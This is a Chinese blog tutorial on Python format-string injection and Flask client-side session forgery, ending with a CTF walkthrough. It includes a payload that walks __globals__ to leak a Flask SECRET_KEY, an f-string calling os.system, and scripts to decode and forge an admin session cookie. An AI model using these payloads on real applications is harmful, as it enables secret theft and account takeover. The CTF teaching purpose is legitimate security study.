python与安全(二)格式化字符串和Flask session

2020-07-27 16:29:15 浏览数 (1)

此文章为原创连载文章,关注公众号,持续更新。

Python格式化字符串

1. %操作符

%操作符 和C语言的printf语法风格一样。

代码语言:javascript复制
>>> str='world'>>> 'hello %s' % str'hello world'

%s(字符串),%d(十进制整数),%f(浮点数)。

2. str.format()

2008发布的Python2.6开始有新的格式化字符串数str.format()。

参考文档:

https://docs.python.org/3.6/library/string.html#formatstrings

代码语言:javascript复制
>>> str='world'
>>> 'hello {}'.format(str)
'hello world

存在安全隐患的事例代码:

代码语言:javascript复制
>>> config = {'SECRET_KEY': '12345'}
>>> class User(object):
...  def __init__(self, name):
...   self.name = name
...
>>> user = User('joe')
>>> '{0.__class__.__init__.__globals__[config]}'.format(user)
"{'SECRET_KEY': '12345'}"

P神总结:

"{username}".format(username='phithon') # 普通用法

"{username!r}".format(username='phithon') # 等同于 repr(username)

"{number:0.2f}".format(number=0.5678) # 等同于 "%0.2f" % 0.5678,保留两位小数

"int: {0:d}; hex: {0:#x}; oct: {0:#o}; bin: {0:#b}".format(42) # 转换进制

"{user.username}".format(user=request.username) # 获取对象属性

"{arr[2]}".format(arr=[0,1,2,3,4]) # 获取数组键值

3. f-string

2016发布的python3.6新增f-string。可以执行字符串中包含的python表达式。

参考文档:

https://www.python.org/dev/peps/pep-0498/

代码语言:javascript复制
>>> a=5
>>> f'number is {a}'
'number is 5'
>>> f'{__import__("os").system("id")}'
uid=0(root) gid=0(root) groups=0(root)
'0'

在Windows系统

代码语言:javascript复制
>>> f'{__import__("os").system("calc ")}'
'0'
>>>

在有了f字符串后,即使我们不闭合双引号,也能插入任意代码了:

4. string.Template

代码语言:javascript复制
from string import Template
name='world'
t = Template('Hello, $name!')
a=t.substitute(name=name)
print(a)

输出:

Hello, world!

2.Flask session

默认情况下,Flask会使用名为“signed cookies”的一种机制,这是在客户端(而非服务端)存储当前会话(session)数据的一种简单方式,使其(从理论上)无法被篡改。

Session数据分为会话数据,时间戳,加密哈希。

会话数据:只是经过base64编码的字符串。我们使用itsdangerous的base64解码器对其进行解码,便可以得到和伪造。

时间戳:可以告诉服务端数据最后一次更新的时间。这个我们不要关心。

加密哈希:就是让cookie变得“安全”的字段。就是我们会在题目见到的SECRET_KEY。服务器向我们发送最新的会话数据之前,会结合我们的会话数据、当前时间戳以及服务器的私钥来计算sha1哈希。我们可以通过其他方式获取到(比如模板注入)SECRET_KEY。

假设现在我们有一串 session 值为:

eyJ1c2VyX2lkIjo2fQ.XA3a4A.R-ReVnWT8pkpFqM_52MabkZYIkY

通过:

代码语言:javascript复制
from itsdangerous import *
s = "eyJ1c2VyX2lkIjo2fQ.XA3a4A.R-ReVnWT8pkpFqM_52MabkZYIkY"
data,timestamp,secret = s.split('.')
print(base64_decode(data))
print(int.from_bytes(base64_decode(timestamp),byteorder='big'))

我们得到了会话数据和时间戳。

然后利用:

代码语言:javascript复制
from flask import Flask, session
app = Flask(__name__)
app.config['SECRET_KEY']='test' #换成获得的SECRET_KEY


@app.route('/')
def set_id():
   session['user_id']=5 #这个根据题目需要添加
   return "ok"
app.run(debug=True)

我们可以够着session,如session['user_id']=5 或许就是admin,不过最重要的是SECRET_KEY。

详细内容可以这篇文章,客户端 session 导致的安全问题

(https://www.leavesongs.com/PENETRATION/client-session-security.html)

3.例题分析

环境搭建

题目链接

(https://github.com/hongriSec/CTF-Training/blob/master/2018/百越杯2018/Web/Easy flask.zip)

也可以在(https://github.com/shrewdnoob/webCTF)找到

题目是百越杯2018的。

我用的是python3.7的,python3.8会出现一些错误。

题目用的是flaskr结构,修改工作目录名为flaskr.

如果没有flask_sqlalckemy模块(pip install flask_sqlalchemy==2.2 )

在flaskr包里创建一个flag文件,里面是你的flag(比如flag{flag-is-here})

然后set FLASK_APP=__init__.py

接着flask init-db 初始化数据库

就可以flask run

题目讲解

1.查看题目:

打开题目如图所示,先注册自己的账号,登录发现

结合题目,尝试遍历id,在id=5时,发现正是admin.

但在我们的源代码中我们也可以看到

在我们的session中我们可以看到

解密’eyJ1c2VyX2lkIjo2fQ.XnxYVQ.3nEjCIlUpJvCoMQHgXF9I6GCwkI’我们可以得到

{'user_id': 6}

解密脚本我们直接用P神的

脚本链接:

https://www.leavesongs.com/PENETRATION/client-session-security.html)

代码语言:javascript复制
#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode


def decryption(payload):
   payload, sig = payload.rsplit(b'.', 1)
   payload, timestamp = payload.rsplit(b'.', 1)


   decompress = False
   if payload.startswith(b'.'):
       payload = payload[1:]
       decompress = True


   try:
       payload = base64_decode(payload)
   except Exception as e:
       raise Exception('Could not base64 decode the payload because of '
                        'an exception')


   if decompress:
       try:
           payload = zlib.decompress(payload)
       except Exception as e:
           raise Exception('Could not zlib decompress the payload before '
                            'decoding the payload')


   return session_json_serializer.loads(payload)


if __name__ == '__main__':
print(decryption(sys.argv[1].encode()))

不是很麻烦的,可以自己直接点:

代码语言:javascript复制
from itsdangerous import *
s = "eyJ1c2VyX2lkIjo1fQ.Xn1LuA.SPyMRxGOcjD6G0LtOelByr6RgWc"
data= s.split('.')[0]
print(base64_decode(data))

两个脚本一样的原理。

所以我们需要把session换成admin的session,即把user_id换成5。

而构造session就需要知道SECRET_KEY.

2. 获取SECRET_KEY

在/edit页面我们可以提交修改secert。

然后我们再审计源代码。

可以发现:

secert.py

两处format,第一处的secret是我们可控的,就是edit secert,于是测试

当我提交{user_m.password}

我们利用自己构造的payload:

{user_m.__class__.__mro__[1].__class__.__mro__[0].__init__.__globals__[SQLAlchemy].__init__.__globals__[current_app].config}

(不会构造的,可以在我以后教程里学到。)

用F12 查看或直接右键点击查看源码,就可以看到SECRET_KEY

%1. 构造session

代码语言:javascript复制
from flask import Flask, session
app = Flask(__name__)


app.config['SECRET_KEY']='test' #换成获得的SECRET_KEY


@app.route('/')
def set_id():
   session['user_id']=5 #这个根据题目需要添加
   return "ok"


app.run(debug=True)

利用上面的脚本,我们可以直接得到得到admin的session

%1. 获取flag

把session换成我们得到的,把url中的id值改成5,可以看到我们得到admin的账户。

然后直接访问/flag文件,就可以得到flag。

参考

https://www.leavesongs.com/PENETRATION/python-string-format-vulnerability.html

https://www.leavesongs.com/PENETRATION/client-session-security.html

https://xz.aliyun.com/t/3569#toc-3

https://www.anquanke.com/post/id/170620#h3-7

https://www.anquanke.com/post/id/170466#h2-0

0 人点赞